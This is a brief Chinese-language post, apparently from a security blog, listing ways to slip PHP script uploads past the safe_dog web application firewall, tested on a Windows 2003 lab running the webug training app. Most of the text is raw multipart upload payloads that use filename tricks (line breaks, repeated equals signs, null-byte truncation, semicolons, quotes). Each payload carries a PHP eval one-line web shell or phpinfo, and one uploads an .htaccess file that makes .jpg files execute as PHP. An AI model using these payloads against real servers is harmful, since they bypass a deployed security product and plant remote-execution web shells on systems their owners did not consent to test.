文件上传实质上还是客户端的POST请求,消息主体是一些上传信息。前端上传页面需要指定enctype为multipart/from-data才能正常上传文件。
此处不讲各种中间件解析漏洞 只列举几种safe_dog对脚本文件上传拦截的绕过
靶机环境:win2003+safe_dog4.0.23957+webug中的上传
1、换行
Content-Disposition: form-data; name="file"; filename="1.php"Content-Type: image/jpeg<?php @eval($_POST[1])?>-----------------------------127619278770
2、多个等号 (不止2,3个)
Content-Disposition: form-data; name="file"; filename=="2.php"Content-Type: image/jpeg<?php @eval($_POST[1])?>-----------------------------127619278770
Content-Disposition: form-data; name="file"; filename==="3.php"Content-Type: image/jpeg<?php @eval($_POST[1])?>-----------------------------127619278770
3、00截断
Content-Disposition: form-data; name="file"; filename="4.php%00"Content-Type: image/jpeg<?php @eval($_POST[1])?>-----------------------------127619278770
4、文件名+;号
Content-Disposition: form-data; name="file"; filename="6;.php"Content-Type: image/jpeg<?php phpinfo()?>-----------------------------127619278770
5、文件名+‘
Content-Disposition: form-data; name="file"; filename="7'.php"Content-Type: image/jpeg<?php phpinfo()?>-----------------------------127619278770
6、上传.htaccess
Content-Disposition: form-data; name="file"; filename=".htaccess"Content-Type: image/jpegAddType application/x-httpd-php jpg-----------------------------127619278770
7、参考:
https://www.t00ls.net/viewthread.php?tid=51253&highlight=%E5%AE%89%E5%85%A8%E7%8B%97
https://www.t00ls.net/viewthread.php?tid=50690&highlight=%E5%AE%89%E5%85%A8%E7%8B%97